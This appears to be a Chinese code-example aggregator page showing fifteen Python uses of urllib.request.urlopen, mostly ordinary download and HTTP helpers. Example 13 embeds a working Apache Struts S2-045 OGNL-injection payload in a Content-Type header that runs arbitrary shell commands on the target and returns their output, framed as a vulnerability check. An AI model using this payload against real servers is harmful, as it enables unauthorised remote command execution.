本文整理汇总了Python中urllib.request.urlopen方法的典型用法代码示例。如果您正苦于以下问题:Python request.urlopen方法的具体用法?Python request.urlopen怎么用?Python request.urlopen使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类urllib.request
的用法示例。
在下文中一共展示了request.urlopen方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: refresh
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def refresh(self):
try:
#open the data url
self.req = urlopen(self.data_url)
#read data from the url
self.raw_data = self.req.read()
#load in the json
self.json_data = json.loads(self.raw_data.decode())
#get time from json
self.time = datetime.fromtimestamp(self.parser.time(self.json_data))
#load all the aircarft
self.aircraft = self.parser.aircraft_data(self.json_data, self.time)
except Exception:
print("exception in FlightData.refresh():")
traceback.print_exc()
示例2: get_plugin_config
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def get_plugin_config(config_uri):
"""
Downloads/opens configuration yaml file, returns
dict of Galaxy plugins
"""
# Try to open the URI as a URL or fall back to opening local file
try:
config_uri_parsed = urlparse(config_uri)
if config_uri_parsed.scheme in ['https', 'http']:
url = urlopen(config_uri)
yaml_data = url.read()
else:
with open(config_uri, 'r') as file_data:
yaml_data = file_data.read()
except URLError as e:
print(e)
# Parse the YAML configuration
try:
plugin_data = yaml.safe_load(yaml_data)
return plugin_data['plugins']
except yaml.YAMLError as e:
print(e)
示例3: run
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def run(self):
request = self.request
try:
if ((timeit.default_timer() - self.starttime) <= self.timeout and
not SHUTDOWN_EVENT.isSet()):
try:
f = urlopen(request)
except TypeError:
# PY24 expects a string or buffer
# This also causes issues with Ctrl-C, but we will concede
# for the moment that Ctrl-C on PY24 isn't immediate
request = build_request(self.request.get_full_url(),
data=request.data.read(self.size))
f = urlopen(request)
f.read(11)
f.close()
self.result = sum(self.request.data.total)
else:
self.result = 0
except (IOError, SpeedtestUploadTimeout):
self.result = sum(self.request.data.total)
示例4: download_image
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def download_image(image_id, url, x1, y1, x2, y2, output_dir):
"""Downloads one image, crops it, resizes it and saves it locally."""
output_filename = os.path.join(output_dir, image_id + '.png')
if os.path.exists(output_filename):
# Don't download image if it's already there
return True
try:
# Download image
url_file = urlopen(url)
if url_file.getcode() != 200:
return False
image_buffer = url_file.read()
# Crop, resize and save image
image = Image.open(BytesIO(image_buffer)).convert('RGB')
w = image.size[0]
h = image.size[1]
image = image.crop((int(x1 * w), int(y1 * h), int(x2 * w),
int(y2 * h)))
image = image.resize((299, 299), resample=Image.ANTIALIAS)
image.save(output_filename)
except IOError:
return False
return True
示例5: test_connection
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def test_connection(name, url, timeout=10):
"""Simple connection test"""
urlinfo = urlparse(url)
start = time.time()
try:
ip = socket.gethostbyname(urlinfo.netloc)
except Exception as e:
print('Error resolving DNS for {}: {}, {}'.format(name, url, e))
return
dns_elapsed = time.time() - start
start = time.time()
try:
_ = urlopen(url, timeout=timeout)
except Exception as e:
print("Error open {}: {}, {}, DNS finished in {} sec.".format(name, url, e, dns_elapsed))
return
load_elapsed = time.time() - start
print("Timing for {}: {}, DNS: {:.4f} sec, LOAD: {:.4f} sec.".format(name, url, dns_elapsed, load_elapsed))
示例6: get_sdf
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def get_sdf(self):
"""Function to return the SDF (structure-data file) of the PubChem object."""
from urllib.request import urlopen, Request
from urllib.parse import quote
from urllib.error import URLError
if len(self.dataSDF) == 0:
url = "https://pubchem.ncbi.nlm.nih.gov/rest/pug/compound/cid/{}/SDF?record_type=3d".format(
quote(str(self.cid))
)
req = Request(url, headers={"Accept": "chemical/x-mdl-sdfile"})
try:
self.dataSDF = urlopen(req).read().decode("utf-8")
except URLError as e:
msg = "Unable to open\n\n%s\n\ndue to the error\n\n%s\n\n" % (url, e)
msg += "It is possible that 3D information does not exist for this molecule in the PubChem database\n"
print(msg)
raise ValidationError(msg)
return self.dataSDF
示例7: download_dataset
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def download_dataset(path, source='https://www.cs.toronto.edu/~kriz/'
'cifar-10-python.tar.gz'):
"""
Downloads and extracts the dataset, if needed.
"""
files = ['data_batch_%d' % (i + 1) for i in range(5)] + ['test_batch']
for fn in files:
if not os.path.exists(os.path.join(path, 'cifar-10-batches-py', fn)):
break # at least one file is missing
else:
return # dataset is already complete
print("Downloading and extracting %s into %s..." % (source, path))
if sys.version_info[0] == 2:
from urllib import urlopen
else:
from urllib.request import urlopen
import tarfile
if not os.path.exists(path):
os.makedirs(path)
u = urlopen(source)
with tarfile.open(fileobj=u, mode='r|gz') as f:
f.extractall(path=path)
u.close()
示例8: hanlp_releases
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def hanlp_releases(cache=True):
global HANLP_RELEASES
if cache and HANLP_RELEASES:
return HANLP_RELEASES
# print('Request GitHub API')
req = urllib.Request('http://nlp.hankcs.com/download.php?file=version')
req.add_header('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36')
if PY == 3:
content = urllib.urlopen(req).read()
else:
content = urllib.urlopen(req).read()
content = json.loads(content.decode())
jar_version, jar_url, data_version, data_url = content
meta = [(jar_version, jar_url, data_version, data_url)]
HANLP_RELEASES = meta
return meta
示例9: _http_request
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def _http_request(url, headers=None, time_out=10):
"""Perform an HTTP request and return request"""
log(0, 'Request URL: {url}', url=url)
try:
if headers:
request = Request(url, headers=headers)
else:
request = Request(url)
req = urlopen(request, timeout=time_out)
log(0, 'Response code: {code}', code=req.getcode())
if 400 <= req.getcode() < 600:
raise HTTPError('HTTP %s Error for url: %s' % (req.getcode(), url), response=req)
except (HTTPError, URLError) as err:
log(2, 'Download failed with error {}'.format(err))
if yesno_dialog(localize(30004), '{line1}\n{line2}'.format(line1=localize(30063), line2=localize(30065))): # Internet down, try again?
return _http_request(url, headers, time_out)
return None
return req
示例10: download_dataset
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def download_dataset(dataset, files, data_dir):
""" Downloads dataset if files are not present. """
if not np.all([os.path.isfile(data_dir + f) for f in files]):
url = "http://files.grouplens.org/datasets/movielens/" + dataset.replace('_', '-') + '.zip'
request = urlopen(url)
print('Downloading %s dataset' % dataset)
if dataset in ['ml_100k', 'ml_1m']:
target_dir = 'raw_data/' + dataset.replace('_', '-')
elif dataset == 'ml_10m':
target_dir = 'raw_data/' + 'ml-10M100K'
else:
raise ValueError('Invalid dataset option %s' % dataset)
with ZipFile(BytesIO(request.read())) as zip_ref:
zip_ref.extractall('raw_data/')
os.rename(target_dir, data_dir)
#shutil.rmtree(target_dir)
示例11: HTML
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def HTML(self, check):
try:
if self.UserAgent != None:
page_html = urlopen(Request(
self.target_url,
headers={"User-Agent":self.UserAgent}),
timeout=self.TimeOut).read().decode("utf-8")
#If not, the default will be used
else:
page_html = urlopen(
self.target_url,
timeout=self.TimeOut).read().decode("utf-8")
except HTTPError:
page_html = "Can't get page source code"
if self.verbose == True:
print(" [+] Source code got from %s" % self.target_url)
print("----START" + "-"*71)
print(page_html)
print("----END" + "-"*73)
return(page_html)
示例12: post
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def post(self, payload, request_par):
data = parse.urlencode(request_par).encode()
if self.UserAgent != None:
req = Request(
self.target_url,
data=data,
headers={"User-Agent":self.UserAgent})
conn = urlopen(req, timeout=self.TimeOut)
else:
conn = urlopen(self.target_url,
data=data,
timeout=self.TimeOut)
html = conn.read().decode("utf-8")
page_size = len(html)
if self.verbose == True:
print(" [+] Source code got from %s" % payload)
print("----START" + "-"*71)
print(html)
print("----END" + "-"*73)
return(self.target_url, page_size, html, payload)
示例13: st045
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def st045(self):
try:
cmd = self.linux
header = dict()
header[
"User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header[
"Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#iswin?(#cmd='" + cmd + "'):(#cmd='" + cmd + "')).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
r = request.Request(self.url, headers=header)
text = request.urlopen(r).read()
except http.client.IncompleteRead as e:
text = e.partial
except Exception:
pass
if 'text' in locals().keys():
self.random = str(self.random)
if self.random.encode('utf-8') in text and len(text) < 15:
self.result.append('Apache S2-045 Vulnerability: ' + self.url)
示例14: download_metadata_file
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def download_metadata_file(url, outputdir, program):
"""Download and unzip the catalogue files."""
zipped_index_path = os.path.join(outputdir, 'index_' + program + '.csv.gz')
if not os.path.isfile(zipped_index_path):
if not os.path.exists(os.path.dirname(zipped_index_path)):
os.makedirs(os.path.dirname(zipped_index_path))
print("Downloading Metadata file...")
content = urlopen(url)
with open(zipped_index_path, 'wb') as f:
shutil.copyfileobj(content, f)
index_path = os.path.join(outputdir, 'index_' + program + '.csv')
if not os.path.isfile(index_path):
print("Unzipping Metadata file...")
with gzip.open(zipped_index_path) as gzip_index, open(index_path, 'wb') as f:
shutil.copyfileobj(gzip_index, f)
return index_path
示例15: http_request
# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def http_request(url, data=None, timeout=30):
log.debug("Requesting URL: %s" % url)
data = urlencode(data).encode('utf8') if data else None
try:
response = urlopen(url, data=data, timeout=timeout)
return {'success':True, 'response':response, 'url':url}
except Exception as err:
log.error("Error requesting URL: %s; %s" % (url, err))
return {'success':False, 'error':err, 'url':url}